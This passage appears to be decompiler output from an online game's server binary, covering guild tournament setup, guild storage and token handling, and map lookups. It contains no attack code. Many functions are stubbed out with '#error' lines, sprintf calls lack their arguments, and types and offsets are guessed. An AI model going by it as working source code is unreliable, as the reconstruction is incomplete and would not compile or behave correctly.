// dx@24 ListStruct *v30; // ecx@25 int v31; // eax@25 bool v32; // cf@25 int v33; // eax@26 int v34; // eax@27 int v35; // [sp-4h] [bp-684h]@16 int v36; // [sp+10h] [bp-670h]@7 int v37; // [sp+14h] [bp-66Ch]@9 ListIteratorDefault arg; // [sp+18h] [bp-668h]@7 List *v39; // [sp+1Ch] [bp-664h]@7 void **v40; // [sp+20h] [bp-660h]@7 char *v41; // [sp+24h] [bp-65Ch]@7 int v42; // [sp+28h] [bp-658h]@7 __int16 v43; // [sp+2Ch] [bp-654h]@7 FunctionEntarance _; // [sp+30h] [bp-650h]@1 ListTraveler lt; // [sp+34h] [bp-64Ch]@25 char v46; // [sp+40h] [bp-640h]@7 PineScriptToken initval; // [sp+168h] [bp-518h]@12 char buffer[1024]; // [sp+268h] [bp-418h]@12 unsigned int cookie; // [sp+66Ch] [bp-14h]@6 int v50; // [sp+67Ch] [bp-4h]@1 _.fe_FunctionCode = "WorldManagerSession::wms_GuildTournamantStart"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_GuildTournamantStart"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_GuildTournamantStart"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_BYTE *)>Map + 13 * gt_start->nTournamentMapNo); v50 = 0; if ( v2 < dword_C35A314 ) v3 = *(const char **)(dword_C35A310 + 4 * v2); else v3 = 0; if ( v3 != 0 ) { FieldMap::FieldMap(&v46, &byte_C88F321[13 * gt_start->nTournamentSeed]); arg.vfptr = (ListIteratorDefaultVtbl *)&ListSearchSame::_vftable_; v39 = &fieldlist; v40 = &FieldMap::fm_Compare; v41 = &v46; v42 = 0; v43 = -1; LOBYTE(v50) = 2; List::l_4AllInList((List *)&fieldlist, &arg); v4 = v42; LOBYTE(v50) = 1; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v36 = v42; if ( v42 ) { v37 = v42 + 152; if ( *(_BYTE *)(v42 + 152) != -1 ) { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_GuildTournamantStart : seed not empty. May be RE-Match.", 1); *(&guildtournamentinfo.gta_Struct.nTournamentSeed + 36 * *(_BYTE *)v37) = -1; *(&guildtournamentinfo.gta_MatchStartTime + 9 * *(_BYTE *)v37) = 0; *(_BYTE *)v37 = -1; if ( FieldMap::fm_GetGuildTournamentSystem((void *)v4) ) { v12 = FieldMap::fm_GetGuildTournamentSystem((void *)v4); GuildTournamentSystem::Clear((GuildTournamentSystem *)v12); } } *(_BYTE *)v37 = gt_start->nTournamentSeed; *(_DWORD *)(v4 + 160) = 0; *(_DWORD *)(v4 + 156) = 0; v13 = 36 * gt_start->nTournamentSeed + 210302144; *((_DWORD *)&guildtournamentinfo.gta_Struct.nTournamentSeed + 9 * gt_start->nTournamentSeed) = *(_DWORD *)>_start->nTournamentSeed; *(_DWORD *)(v13 + 4) = *(_DWORD *)((char *)>_start->nExploerTimeMin + 1); *(_DWORD *)(v13 + 8) = *(_DWORD *)((char *)>_start->nPlayTimeMin + 1); *(_DWORD *)(v13 + 12) = *(unsigned int *)((char *)>_start->nNo1 + 3); *(_BYTE *)(v13 + 16) = BYTE3(gt_start->nNo2); v14 = &byte_C88F321[13 * gt_start->nTournamentSeed]; v15 = 9 * gt_start->nTournamentSeed; *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[36 * gt_start->nTournamentSeed] = *(_DWORD *)v14; v16 = *((_DWORD *)v14 + 1); *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[4 * v15 + 8] = *((_DWORD *)v14 + 2); *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[4 * v15 + 4] = v16; *(&guildtournamentinfo.gta_MatchStartTime + 9 * gt_start->nTournamentSeed) = clockwatch.cw_CurrTick; v17 = namestring.ns_point.mask; *(&guildtournamentinfo.gta_Result2WMS + 36 * gt_start->nTournamentSeed) = 0; v18 = 36 * gt_start->nTournamentSeed + 210302161; v19 = v17 & (namestring.ns_point.value + 1); v20 = *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[36 * gt_start->nTournamentSeed]; namestring.ns_point.value = v19; v21 = (char *)&namestring + 256 * v19; *(_DWORD *)v21 = v20; v22 = *(_DWORD *)(v18 + 4); *((_DWORD *)v21 + 2) = *(_DWORD *)(v18 + 8); *((_DWORD *)v21 + 1) = v22; v21[12] = 0; sprintf( buffer, "%s %d %d %d %d %d %d %d %d %s %d %d %d %s %d %d %d %s %d %d %d %d %d %d %s %d %d %d %s %d %d %d %s %d %d %d"); memset(buffer, 0, sizeof(buffer)); sprintf(buffer, "%d %d %d %d"); FieldMap::fm_ClearObject((void *)v36, 0x3B0u); Movie::CinemaComplex::cc_DropFilm(*(Movie::CinemaComplex **)(v36 + 68), "Guild/GuildTournament"); PineScriptToken::PineScriptToken(&initval, buffer); LOBYTE(v50) = 3; Movie::CinemaComplex::cc_PlayFilm(*(Movie::CinemaComplex **)(v36 + 68), "Guild/GuildTournament", &initval); v23 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29894; v23[2] = gt_start->nTournamentSeed; *(_DWORD *)(v23 + 3) = gt_start->nNo1; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v24 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v24); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::wms_GuildTournamantStart : Packet Too Long", 7); } *(_DWORD *)(v23 + 3) = gt_start->nNo2; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v25 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v25); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::wms_GuildTournamantStart : Packet Too Long", 7); } FieldMap::fm_CreateGuildTournamentSystem( v36, gt_start->nNo1, gt_start->nNo2, *((_BYTE *)>Map + 13 * gt_start->nTournamentSeed), v35); LOBYTE(v50) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&initval); } else { v5 = 36 * gt_start->nTournamentSeed + 210302144; *((_DWORD *)&guildtournamentinfo.gta_Struct.nTournamentSeed + 9 * gt_start->nTournamentSeed) = *(_DWORD *)>_start->nTournamentSeed; *(_DWORD *)(v5 + 4) = *(_DWORD *)((char *)>_start->nExploerTimeMin + 1); *(_DWORD *)(v5 + 8) = *(_DWORD *)((char *)>_start->nPlayTimeMin + 1); *(_DWORD *)(v5 + 12) = *(unsigned int *)((char *)>_start->nNo1 + 3); *(_BYTE *)(v5 + 16) = BYTE3(gt_start->nNo2); v6 = &byte_C88F321[13 * gt_start->nTournamentSeed]; v7 = 9 * gt_start->nTournamentSeed; *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[36 * gt_start->nTournamentSeed] = *(_DWORD *)v6; v8 = *((_DWORD *)v6 + 1); v9 = *((_DWORD *)v6 + 2); v10 = 4 * v7 + 210302161; *(_DWORD *)(v10 + 4) = v8; v11 = clockwatch.cw_CurrTick; *(_DWORD *)(v10 + 8) = v9; *(&guildtournamentinfo.gta_MatchStartTime + 9 * gt_start->nTournamentSeed) = v11; *(&guildtournamentinfo.gta_Result2WMS + 36 * gt_start->nTournamentSeed) = 0; } LOBYTE(v50) = 0; FieldMap::_FieldMap((int)&v46); v26 = BTree::operator__(&mapdatabox.mdb_btree, v3); if ( v26 == -1 ) LOWORD(v26) = -1; v26 = (unsigned __int16)v26; if ( (unsigned __int16)v26 < mapdatabox.mdb_maxmapid && mapdatabox.mdb_index[v26] ) { v27 = unk_1247FF04; v28 = unk_1247FF04->l_Array[unk_1247FF04->l_Finger.store].ls_Next; while ( 1 ) { v29 = v27->l_MaxSize; if ( v28 >= v29 ) break; v30 = v27->l_Array; v31 = v28; lt.lt_CurrElement = v28; v32 = v28 < v29; v28 = v30[v28].ls_Next; if ( v32 && (v33 = (int)&v30[v31], *(_BYTE *)(v33 + 8)) ) v34 = *(_DWORD *)v33; else v34 = 0; (*(void (__thiscall **)(int, PROTO_NC_GUILD_TOURNAMENT_START_CMD *, _DWORD))(*(_DWORD *)v34 + 2252))( v34, gt_start, gt_start->nTournamentSeed); } } } else { AssertClass::ac_AssertFail(&shineassert, "const FieldOption::GuildTournamentMapStr *gtms NULL", 0); } --funcallanalizer.fca_stackpoint; v50 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_GuildTournamantStart"); __security_check_cookie(cookie); } // 438AE0: using guessed type void *FieldMap__fm_Compare; // 445A10: using guessed type int __thiscall FieldMap__fm_CreateGuildTournamentSystem(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // 445F80: using guessed type int __thiscall FieldMap__FieldMap(_DWORD, _DWORD); // 5A6570: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // C35A310: using guessed type int dword_C35A310; // C35A314: using guessed type int dword_C35A314; // C88F320: using guessed type struct __unnamed *GTMap; //----- (004533A0) -------------------------------------------------------- int __usercall ShineObjectClass::ShinePlayer::so_ply_GuildStorageDeactivate(int a1, unsigned __int16 *a2) { int v2; // esi@1 int v3; // eax@4 unsigned int v4; // eax@4 GuildStorage::GuildStorageElement *v5; // ebp@4 __int16 v6; // di@5 int v7; // eax@5 int result; // eax@9 ListIteratorDefault arg; // [sp+8h] [bp-18h]@5 int v10; // [sp+Ch] [bp-14h]@5 int v11; // [sp+10h] [bp-10h]@5 unsigned int v12; // [sp+14h] [bp-Ch]@5 signed int v13; // [sp+20h] [bp+0h]@5 v2 = a1; if ( (*(int (**)(void))(*(_DWORD *)a1 + 1980))() && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2) && *(_WORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2) != -1 ) { v3 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2004))(v2); v4 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v2 + 1980))(v2, v3); v5 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v4, a2); if ( v5 ) { v6 = *(_WORD *)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2004))(v2); v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1980))(v2); arg.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildStorageDeactive::_vftable_; v10 = v7; LOWORD(v11) = v6; v12 = 0; v13 = 0; List::l_4AllInList(unk_1247FF04, &arg); if ( v12 <= 1 ) GuildStorage::GuildStorageElement::gse_Deactivate(v5); v13 = -1; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2008))(v2); } result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); if ( result ) { result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); if ( *(_WORD *)result != -1 ) result = (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v2 + 2008))(v2, 65535); } return result; } // 4533A0: could not find valid save-restore pair for ebp // 5A5124: using guessed type int (__stdcall *ShineGuildStorageDeactive___vftable_)(int, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004534D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStoreFill(void *sp, PROTO_NC_ITEMDB_OPEN_GUILD_STORAGE_ACK *inven) { void *v2; // esi@1 unsigned __int16 *v3; // ST08_4@1 unsigned int v4; // eax@1 GuildStorage::GuildStorageElement *v5; // eax@1 int v6; // edx@4 GuildStorage::GuildStorageElement *v7; // edi@4 v2 = sp; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildStoreFill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildStoreFill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1980))(v2); v5 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v4, v3); if ( v5 ) { GuildStorage::GuildStorageElement::gse_StoreItem(v5, inven, (#440 *)v2); } else { if ( gldstoramanager.baseclass_0.l_Finger.empty != -1 && (v6 = gldstoramanager.baseclass_0.l_Finger.empty, *((_WORD *)v2 + 34114) = gldstoramanager.baseclass_0.l_Finger.empty, (v7 = gldstoramanager.baseclass_0.vfptr->l_AllocZ( (List *)&gldstoramanager, v6)) != 0) ) { v7->gse_Guild = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1980))(v2); GuildStorage::GuildStorageElement::gse_SetActivate(v7); GuildStorage::GuildStorageElement::gse_StoreItem(v7, inven, (#440 *)v2); } else { ShineObjectClass::ShinePlayer::sp_GuildStorageError(v2, 4673); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildStoreFill"); } //----- (00453600) -------------------------------------------------------- #error "453600: undefined or illegal type '#592' (funcsize=69)" //----- (00453730) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { NETCOMMAND *v3; // edi@1 GuildStorage::GuildStorageElement *v4; // eax@1 GuildStorage::GuildStorageElement *v5; // esi@1 unsigned int v6; // ebx@6 unsigned int v7; // edi@6 unsigned __int64 v8; // qax@6 unsigned __int64 v9; // [sp-8h] [bp-24h]@4 char *v10; // [sp-4h] [bp-20h]@9 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd; v4 = GuildStorage::GuildStorageManager::gsm_FindStorage( &gldstoramanager, *(_DWORD *)&netcmd[1].protocol, (unsigned __int16 *)&netcmd); v5 = v4; if ( v4 && v4->gse_Guild == *(_DWORD *)&v3[1].protocol ) { if ( GuildStorage::GuildStorageElement::gse_GetToken(v4) >= *(_QWORD *)&v3[3].protocol ) v9 = GuildStorage::GuildStorageElement::gse_GetToken(v5) - *(_QWORD *)&v3[3].protocol; else v9 = 0i64; GuildStorage::GuildStorageElement::gse_SetToken(v5, v9); v6 = *(_DWORD *)&v3[7].protocol; v7 = *(_DWORD *)&v3[9].protocol; v8 = GuildStorage::GuildStorageElement::gse_GetToken(v5); if ( (_DWORD)v8 != v6 || HIDWORD(v8) != v7 ) GuildStorage::GuildStorageElement::gse_SetToken(v5, __PAIR__(v7, v6)); v10 = "WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD"; } else { v10 = "WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); } //----- (00453840) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right, unsigned int _Roff, unsigned int _Count) { std::basic_string,std::allocator > *v4; // ebx@1 unsigned int v5; // esi@3 unsigned int v6; // ebp@8 unsigned int v7; // eax@10 bool v8; // cf@11 bool v9; // zf@11 char *v10; // edi@14 std::basic_string,std::allocator > *result; // eax@17 int v12; // edx@20 int v13; // eax@21 v4 = this; if ( _Right->_Mysize < _Roff ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); v5 = _Count; if ( _Right->_Mysize - _Roff < _Count ) v5 = _Right->_Mysize - _Roff; if ( -1 - this->_Mysize <= v5 ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); if ( !v5 ) return v4; v6 = v5 + this->_Mysize; if ( v6 > 0xFFFFFFFE ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); v7 = this->_Myres; if ( v7 < v6 ) { std::basic_string_std::allocator>::_Copy(this, v6, this->_Mysize); v8 = 0; v9 = v6 == 0; goto LABEL_12; } v8 = 0; v9 = v6 == 0; if ( v6 ) { LABEL_12: if ( !(v8 | v9) ) { if ( _Right->_Myres < 0x10 ) v10 = (char *)&_Right->_Bx; else v10 = *(char **)&_Right->_Bx._Buf[0]; v12 = (int)&v4->_Bx; if ( v4->_Myres < 0x10 ) v13 = (int)&v4->_Bx; else v13 = *(_DWORD *)v12; memcpy((void *)(v13 + v4->_Mysize), &v10[_Roff], v5); v8 = v4->_Myres < 0x10; v4->_Mysize = v6; if ( !v8 ) v12 = *(_DWORD *)v12; *(_BYTE *)(v12 + v6) = 0; } return v4; } this->_Mysize = 0; if ( v7 < 0x10 ) { this->_Bx._Buf[0] = 0; result = this; } else { **(_BYTE **)&this->_Bx._Buf[0] = 0; result = this; } return result; } //----- (00453930) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // edi@1 PROTO_NC_GUILD_TOURNAMENT_START_CMD *v4; // esi@1 int v5; // ecx@1 char v6; // dl@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (PROTO_NC_GUILD_TOURNAMENT_START_CMD *)&netcmd[1]; v5 = LOBYTE(netcmd[1].protocol); if ( LOBYTE(netcmd[1].protocol) <= 0x20u ) { v6 = *(&guildtournamentinfo.gta_Struct.nTournamentSeed + 36 * v5); if ( v6 != -1 ) { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD : Seed not empty. May be RE-Match.", v6 == -1); *(&guildtournamentinfo.gta_Struct.nTournamentSeed + 36 * v4->nTournamentSeed) = -1; } *(unsigned __int16 *)((char *)&netcmd[1].protocol + 1) = *((_BYTE *)>Map + 13 * LOBYTE(netcmd[1].protocol)); WorldManagerSession::wms_GuildTournamantStart(v3, v4); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD : Invalid seed", v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD"); } // C88F320: using guessed type struct __unnamed *GTMap; //----- (00453A40) -------------------------------------------------------- #error "453A40: undefined or illegal type '#331' (funcsize=45)" //----- (00453AC0) -------------------------------------------------------- #error "453AC0: undefined or illegal type '#331' (funcsize=31)" //----- (00453B20) -------------------------------------------------------- #error "453B20: undefined or illegal type '#331' (funcsize=33)" //----- (00453B90) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Count) { std::basic_string,std::allocator > *v3; // ebx@1 unsigned int v4; // edx@1 char *v5; // eax@2 char *v6; // eax@5 char *v7; // ecx@6 std::basic_string,std::allocator > *result; // eax@11 unsigned int v9; // ebp@15 unsigned int v10; // eax@17 bool v11; // cf@18 bool v12; // zf@18 int v13; // eax@21 v3 = this; v4 = this->_Myres; if ( v4 < 0x10 ) v5 = (char *)&this->_Bx; else v5 = *(char **)&this->_Bx._Buf[0]; if ( _Ptr < v5 || ((v6 = (char *)&this->_Bx, v4 < 0x10) ? (v7 = (char *)&this->_Bx) : (v7 = *(char **)v6), &v7[v3->_Mysize] <= _Ptr) ) { if ( -1 - v3->_Mysize <= _Count ) std::_String_base::_Xlen(&v3->baseclass_0.___u0.baseclass_0); if ( _Count ) { v9 = _Count + v3->_Mysize; if ( v9 > 0xFFFFFFFE ) std::_String_base::_Xlen(&v3->baseclass_0.___u0.baseclass_0); v10 = v3->_Myres; if ( v10 >= v9 ) { v11 = 0; v12 = v9 == 0; if ( !v9 ) { v3->_Mysize = 0; if ( v10 < 0x10 ) { v3->_Bx._Buf[0] = 0; result = v3; } else { **(_BYTE **)&v3->_Bx._Buf[0] = 0; result = v3; } return result; } } else { std::basic_string_std::allocator>::_Copy(v3, v9, v3->_Mysize); v11 = 0; v12 = v9 == 0; } if ( !(v11 | v12) ) { if ( v3->_Myres < 0x10 ) v13 = (int)&v3->_Bx; else v13 = *(_DWORD *)&v3->_Bx._Buf[0]; memcpy((void *)(v13 + v3->_Mysize), _Ptr, _Count); v11 = v3->_Myres < 0x10; v3->_Mysize = v9; if ( !v11 ) { *(_BYTE *)(*(_DWORD *)&v3->_Bx._Buf[0] + v9) = 0; return v3; } v3->_Bx._Buf[v9] = 0; } } return v3; } if ( v4 >= 0x10 ) v6 = *(char **)v6; return std::basic_string_std::allocator>::append(v3, v3, _Ptr - v6, _Count); } //----- (00453CA0) -------------------------------------------------------- #error "453CA0: undefined or illegal type '#331' (funcsize=208)" //----- (00453F50) -------------------------------------------------------- #error "453F50: undefined or illegal type '#331' (funcsize=84)" //----- (00454080) -------------------------------------------------------- #error "454080: undefined or illegal type '#331' (funcsize=84)" //----- (004541B0) -------------------------------------------------------- FieldOption::GuildTournamentMapStr *__thiscall GuildTouramentLoginDataInfo::GetFieldGTMapInfo(GuildTouramentLoginDataInfo *this, #440 *pPlayer) { int v2; // eax@1 FieldOption::GuildTournamentMapStr *v3; // esi@2 v2 = *((_BYTE *)>Map + 13 * this->gta_Struct.nTournamentMapNo); if ( v2 >= dword_C35A314 ) { v3 = 0; LABEL_4: _ErrorSendPlayer( (#331 *)pPlayer, 5185, "GuildTouramentLoginDataInfo::GetFieldGTMapInfo"); return v3; } v3 = *(FieldOption::GuildTournamentMapStr **)(dword_C35A310 + 4 * v2); if ( !v3 ) goto LABEL_4; return v3; } // C35A310: using guessed type int dword_C35A310; // C35A314: using guessed type int dword_C35A314; // C88F320: using guessed type struct __unnamed *GTMap; //----- (00454200) -------------------------------------------------------- MapInfo *__thiscall GuildTouramentLoginDataInfo::GetMapInfo(GuildTouramentLoginDataInfo *this, #440 *pPlayer) { int v2; // eax@1 const char *v3; // esi@2 unsigned int v5; // eax@6 MapInfo *v6; // esi@9 v2 = *((_BYTE *)>Map + 13 * this->gta_Struct.nTournamentMapNo); if ( v2 < dword_C35A314 ) { v3 = *(const char **)(dword_C35A310 + 4 * v2); if ( v3 ) goto LABEL_6; } else { v3 = 0; } _ErrorSendPlayer( (#331 *)pPlayer, 5185, "GuildTouramentLoginDataInfo::GetFieldGTMapInfo"); if ( !v3 ) return 0; LABEL_6: v5 = BTree::operator__(&mapdatabox.mdb_btree, v3); if ( v5 == -1 ) LOWORD(v5) = -1; v5 = (unsigned __int16)v5; if ( (unsigned __int16)v5 >= mapdatabox.mdb_maxmapid ) { v6 = 0; LABEL_11: _ErrorSendPlayer( (#331 *)pPlayer, 5187, "GuildTouramentLoginDataInfo::GetMapInfo"); return v6; } v6 = mapdatabox.mdb_index[v5]; if ( !v6 ) goto LABEL_11; return v6; } // C35A310: using guessed type int dword_C35A310; // C35A314: using guessed type int dword_C35A314; // C88F320: using guessed type struct __unnamed *GTMap; //----- (004542A0) -------------------------------------------------------- FieldOption::FieldAttr *__thiscall GuildTouramentLoginDataInfo::GetFieldAttr(GuildTouramentLoginDataInfo *this, #440 *pPlayer) { int v2; // eax@1 char *v3; // esi@2 v2 = *((_BYTE *)>Map + 13 * this->gta_Struct.nTournamentMapNo); if ( v2 < dword_C35A314 ) { v3 = *(char **)(dword_C35A310 + 4 * v2); if ( v3 ) return FieldOption::fo_GetFieldAttr(&::this, v3); } else { v3 = 0; } _ErrorSendPlayer( (#331 *)pPlayer, 5185, "GuildTouramentLoginDataInfo::GetFieldGTMapInfo"); if ( !v3 ) return 0; return FieldOption::fo_GetFieldAttr(&::this, v3); } // C35A310: using guessed type int dword_C35A310; // C35A314: using guessed type int dword_C35A314; // C88F320: using guessed type struct __unnamed *GTMap; //----- (00454300) -------------------------------------------------------- #error "454300: undefined or illegal type '#440' (funcsize=178)" //----- (00454580) -------------------------------------------------------- #error "454580: undefined or illegal type '#440' (funcsize=81)" //----- (00454680) -------------------------------------------------------- #error "454680: undefined or illegal type '#440' (funcsize=103)" //----- (00454800) -------------------------------------------------------- #error "454800: undefined or illegal type '#331' (funcsize=220)" //----- (00454AF0) -------------------------------------------------------- #error "454AF0: undefined or illegal type '#331' (funcsize=75)" //----- (00454C10) -------------------------------------------------------- void __thiscall RoutionInterface::_RoutionInterface(RoutionInterface *this) { this->vfptr = (RoutionInterfaceVtbl *)&RoutionInterface::_vftable_; } // 5A5CD0: using guessed type int (__thiscall *RoutionInterface___vftable_)(void *p, char); //----- (00454C20) -------------------------------------------------------- void *__thiscall RoutionInterface::_vector_deleting_destructor_(RoutionInterface *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (RoutionInterfaceVtbl *)&RoutionInterface::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5A5CD0: using guessed type int (__thiscall *RoutionInterface___vftable_)(void *p, char); //----- (00454C40) -------------------------------------------------------- void *__thiscall ScriptInterrupt::InterruptEventArgument::_scalar_deleting_destructor_(ScriptInterrupt::InterruptEventArgument *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (ScriptInterrupt::InterruptEventArgumentVtbl *)&ScriptInterrupt::InterruptEventArgument::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5A5CD8: using guessed type int (__thiscall *ScriptInterrupt__InterruptEventArgument___vftable_)(void *p, char); //----- (00454C80) -------------------------------------------------------- void __thiscall AxialListFlagCaptureCancel::_AxialListFlagCaptureCancel(AxialListFlagCaptureCancel *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListFlagCaptureCancel::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5A5CE0: using guessed type int (__stdcall *AxialListFlagCaptureCancel___vftable_)(int, int, int distancesquar); //----- (00454C90) -------------------------------------------------------- GuildTournamentSystem::GuildGroup *__thiscall GuildTournamentSystem::GetEnemyGuildGroup(GuildTournamentSystem *this, unsigned int GuildNumber) { GuildTournamentSystem::GuildGroup *result; // eax@1 result = &this->m_GroupA; if ( this->m_GroupA.m_GuildNumber == GuildNumber ) result = &this->m_GroupB; return result; } //----- (00454CB0) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::IsBattleGuild(GuildTournamentSystem *this, unsigned int a, unsigned int b) { unsigned int v3; // eax@1 v3 = this->m_GroupA.m_GuildNumber; return v3 == a && this->m_GroupB.m_GuildNumber == b || v3 == b && this->m_GroupB.m_GuildNumber == a; } //----- (00454CE0) -------------------------------------------------------- #error "454CE0: undefined or illegal type '#331' (funcsize=24)" //----- (00454D20) -------------------------------------------------------- #error "454D20: undefined or illegal type '#331' (funcsize=39)" //----- (00454DB0) -------------------------------------------------------- void __thiscall ScriptInterrupt::InterruptEventWinGuild::_InterruptEventWinGuild(ScriptInterrupt::InterruptEventWinGuild *this) { this->baseclass_0.vfptr = (ScriptInterrupt::InterruptEventArgumentVtbl *)&ScriptInterrupt::InterruptEventArgument::_vftable_; } // 5A5CD8: using guessed type int (__thiscall *ScriptInterrupt__InterruptEventArgument___vftable_)(void *p, char); //----- (00454DC0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::FlagInfo::FlagCapture(GuildTournamentSystem::FlagInfo *this, unsigned int GuildNumber) { this->m_GuildNumber = GuildNumber; TickTimer::Enable(&this->m_FlagScoreTimer, 1); } //----- (00454DE0) -------------------------------------------------------- bool __thiscall DiceGame::Start(DiceGame *this, int nTick, unsigned int RedPlayerNumber, unsigned int BluePlayerNumber) { DiceGame *v4; // esi@1 int v5; // edi@1 ORField *v6; // esi@1 v4 = this; v5 = nTick; this->m_RedPlayerNumber = RedPlayerNumber; this->m_BluePlayerNumber = BluePlayerNumber; this->m_RedDiceResult = 0; this->m_BlueDiceResult = 0; PacketContainer::pcb_SetSocketSession((ORField *)&this->m_nDelayTic, (ORColumnHeader *)nTick); TickTimer::Enable(&v4->m_nDelayTic, 1); v6 = (ORField *)&v4->m_NotifyOfEndTimer; if ( nTick > 50 ) v5 = nTick - 50; PacketContainer::pcb_SetSocketSession(v6, (ORColumnHeader *)v5); TickTimer::Enable((TickTimer *)v6, 1); return 1; } //----- (00454E40) -------------------------------------------------------- #error "454E40: undefined or illegal type '#331' (funcsize=42)" //----- (00454EE0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector,std::allocator >,std::allocator,std::allocator > > > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = 